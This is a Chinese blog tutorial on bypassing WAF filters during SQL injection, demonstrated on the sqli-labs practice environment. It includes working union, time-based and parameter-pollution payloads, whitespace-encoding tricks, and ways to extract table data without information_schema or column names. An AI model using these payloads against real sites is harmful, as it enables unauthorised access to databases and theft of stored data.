首页 > 数据库 >sql注入常见绕过方法

sql注入常见绕过方法

时间:2024-09-27 20:01:23浏览次数:10  
标签:语句 查询 sql 绕过 select 注入

sql注入可以说是非常成熟的攻击手段了 对其的防御体系也很完善 据owasp统计 存在注入类漏洞的网站不超过10%

首先我们了解下sql注入的类型:
分为直接有回显的:

  1. 联合注入: 通过联合查询语句进行信息的查询 需要页面回显数据
  2. 报错注入: 需要页面存在查询语句报错回显
  3. 堆叠注入: 需要数据库支持堆叠查询格式
    没有直接信息回显即盲注:
  4. bool盲注: 页面没有回显 通过sql语句表达式判断 并根据页面内容变化判断表达式是否合理
  5. 时间盲注: 页面没有回显 通过sql语句表达式判断并加入时延 通过时延判断表达式是否成立
    从注入内容分:
  6. 数字型注入: 传递的参数会被当做数字处理
  7. 字符型注入: 传递的参数会被当做字符串处理

区分数字型注入或者字符型注入 可以利用and表达式进行判断 如果为字符型 不论条件真假 都能查询并且得到结果 如果为数字型 如果and条件没被满足此时将不会显示结果
这里使用经典的sqllib举例:

  • 字符型:
    条件满足:
    image
    条件不满足:
    image

  • 数字型:
    条件满足:
    image
    条件不满足:
    image
    或者我们可以利用数学运算来判断传参类型:
    image
    显然 如果是字符型 减法运算后查询的结果应该仍为dumb 说明该参数类型为数字型

为了了解绕过思路 我们先来了解下联合注入的常规流程:
首先查找注入点的存在 一般为搜索,登录栏等
判断注入点的类型 为字符型还是数字型
尝试闭合方式 括号,引号
通过orderby groupby 查询列数
判断回显位置 通过联合查询 得出回显信息的位置
通过联合查询得到信息 这里有一个非常关键且常用的数据库:
information_schema这个库中常用的表有columns 还有 tables
image

image

这两个表结合起来 可以查询出特定数据库中的表名以及表的列名 可以查出特定的数据

常用绕过方法:

  • 空格绕过:
    首先我们可以进行空格是否被过滤的判断:
    使用延时注入来判断
    id=(select*from(select(sleep(5)))a)#
    这段sql语句完全不存在空格
    image
    时延大于2 说明该语句触发了sleep 这时在语句中加入空格 如果没有触发sleep说明空格被禁用

空格绕过:

  • 思路一:编码绕过
    %20 %0a %0b %0c %0d %a0 %00 %09
    这些编码有时可以代替空格做截断,具体情况具体分析
  • 思路二:符号绕过
    采用其他符号代替空格
    回车的编码为:%0d%0a 括号则很简单 直接使用()将查询语句隔离开
    反引号 ``包裹表名列名
    常用内联注释/**/代替空格

引号绕过:
双引号和单引号一般情况可以相互代替
有时可以使用十六进制形式进行查询
image
不过waf一般更关注是否存在查询语句 而不会关注编码形式

下面说几种不是很有效的绕过:

  • 大小写绕过:
    古早时期可能会存在 但现在一定不会出现类似的错误
  • 浮点数绕过:
    有时waf匹配参数只为整形 使用浮点数可以进行绕过
  • null值:
    \N是null值 有时会突破正则的限制,但大多情况下waf的正则会进行字符边界的限制
  • 条件判断符号
    and or not xor 这四种条件判断符都是非常常用的符号
    常常等价替换为符号
    &&与 ||或 !非 |异或

有时也会用in来代替判断表达式 in也可以代替等号
比如大于等于2小于等于3可以表示为in(2,3)

有关联合查询的注入绕过:

我们要想绕过 首先得了解注入的手段 以及waf是怎么进行防御的
注入语句实例:

id=-1' union select 1,group_concat(TABLE_NAME),3 from information_schema.TABLES where TABLE_SCHEMA='security' --+

上面是一个很经典的联合注入示范
我们了解到 waf通常会对information库进行防范
关于这个库的绕过方法:
首先我们着眼于有没有其他库可以代替

sys.schema_auto_increment_columns  //自增列名
sys.schema_table_statistics_with_buffer //统计buffer
mysql.innodb_table_stats //innodb引擎的数据库统计
mysql.innodb_table_index //innodb表的节点信息统计

在5.7以后的版本中 以上的表都可以代替information数据库查出表名
获取表名后如何查询我们想要得到的数据呢:
此时我们无法准确获取到列名 可以简单地尝试下常见的列 username password等
最终都是为了查询到目标数据
我们可以使用连表查询 将数字与表进行结合 用数字来代表表的列名

mysql> select 1,2,3 union select * from users;
+----+----------+------------+
| 1  | 2        | 3          |
+----+----------+------------+
|  1 | 2        | 3          |
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+

经过联合查询后 表的列名变为了1,2,3
这个时候只需要将这个表作为一个整体进行使用:

select `2` from (select 1,2,3 union select * from users) as a;
+----------+
| 2        |
+----------+
| 2        |
| Dumb     |
| Angelina |
| Dummy    |
| secure   |
| stupid   |
| superman |
| batman   |
| admin    |
| admin1   |
| admin2   |
| admin3   |
| dhakkan  |
| admin4   |
+----------+

不需要列名 照样爆出了数据
id=-1' union select 1,group_concat(s),group_concat(z) from(select 1,2,3 union select * from users)as a--+
image
当反引号被禁止使用时 可以给列起别名
id=-1' union select 1,group_concat(s),group_concat(z) from(select 1,2 as s,3 as z union select * from users)as a--+
image
效果一致

使用去重函数:distinct
这个函数可以打破正则匹配的限制,加入这个值可能会让正则无效
image
这里重点推荐下:
脚本语言绕过:
在某些后端环境下:如php 同一个变量的值前一个的值会被后一个值覆盖掉
?id=1%00&id=2 这就要看后端怎么处理数据了 此时第一个id绕过了waf 第二个id落入后端进行处理 这也是比较经典的绕过 曾在daiqile平台出现

join注入绕过:有时不允许直接查询数据,此时可以使用join函数
image

有时候后台的sql语句会限制行数 用limit函数 limit0,1
limit 1 offset 0 这两个查询的效果一致 都是从第零行向后截断一行
可以省去逗号

报错注入:

未完

盲注绕过

未完

标签:语句,查询,sql,绕过,select,注入
From: https://www.cnblogs.com/fr09/p/18431363

相关文章

  • mysql后台导入sql文件-设定字符集
    需求描述:有一个user_info.sql的文件里面都是插入user_info表的insert语句数据,数据量500M,要求快速插入mysql的数据库中。解决方法:1、利用客户端工具加载文件插入数据。   问题:执行数据特别慢,好几个小时才能插入,原因数据要从客户端发送到服务器网络传输和插入都消耗大量时间......
  • Lazarus中对mysql数据库Blob类型进行读写例子
    一、读一个图片到数据库varinimage1:TImage;TPStream:TMemoryStream; inimage1:=TImage.Create(nil);//读取图片TPStream:=TMemoryStream.Create;Image1.Picture.SaveToStreamWithFileExt(TPStream,'jpg');//生成jpeg图片inimage1.Free;TPStr......
  • PbootCMS错误提示:执行SQL发生错误!错误:no such column: def1
    在PbootCMS升级过程中,如果出现“执行SQL发生错误!错误:nosuchcolumn:def1”或“错误:duplicatecolumnname:picstitle”的问题,可以通过手动执行SQL脚本来解决。以下是详细的解决方案步骤:解决方案1.手动执行SQL脚本登录数据库管理工具:使用phpMyAdmin或MySQLWorkbenc......
  • 【AI驱动 TDSQL-C Serverless 数据库技术实战营】AI赋能电商数据管理
            随着大数据时代的到来,数据量的激增对数据库系统提出了更高的要求。传统的数据库管理方式已经难以满足现代企业对于灵活性、可扩展性以及成本控制的需求。在此背景下,Serverless架构因其按需分配资源、自动扩展等特性而受到广泛关注。本文将探讨如何利用TDSQL-C......
  • HTB-sql基本知识
    HTB-sql基本知识-mysqlsql-插入-insert用于向给定表添加新记录一、语法INSERTINTOtable_nameVALUES(column1_value,column2_value,column3_value,...);上面的语法要求用户填写表中所有列的值。例子:如何向登录表添加新登录名,并为每列添加适当的值。mysql>INSERTI......
  • HTB-sql基本知识
    HTB-sql基本知识-mysqlsql-插入-insert用于向给定表添加新记录一、语法INSERTINTOtable_nameVALUES(column1_value,column2_value,column3_value,...);上面的语法要求用户填写表中所有列的值。例子:如何向登录表添加新登录名,并为每列添加适当的值。mysql>INSERTI......
  • windows环境下的 MySQL 安装与启动
    参考网址:菜鸟教程:https://www.runoob.com/mysql/mysql-install.html报错博文:https://blog.csdn.net/weixin_72700368/article/details/139784696 1. 下载MySQLWindows上安装MySQL相对来说会较为简单,最新版本可以在 MySQL下载 中下载中查看(更详细安装:Win......
  • Mysql8.0启动时出现ERROR: Different lower_case_table_names settings for server ('
    分析:出现这个原因数据库启动后,调整lower_case_table_names参数导致的这个问题。mysql8.0之后,lower_case_table_names配置必须在安装好MySQL后,初始化mysql配置时才有效。一旦mysql启动后,再设置是无效的,而且启动报错。lower_case_table_names=1表示mysql是不区分大小写的......
  • Mysql-常用命令
    库操作:1.创建数据库:createdatabase库名;2.显示数据库:showdatabases;3.删除数据库:dropdatabase库名;4.修改数据库编码:alterdatabase库名charactersetgb2312表操作:1.创建一个表名为:employee,该表中含有id、name、sex、birthday、job字段:createtableemployee(表名)(id......
  • SQLite3模块使用详解
    SQLite3是一种轻量级的数据库引擎,它不需要独立的服务器进程,可以直接读写磁盘上的数据库文件。由于其简单易用和高效的特性,SQLite3成为了许多应用程序和开发者在开发阶段的首选数据库。Python的sqlite3模块提供了对SQLite3数据库的直接支持,允许开发者在Python环境中轻松地......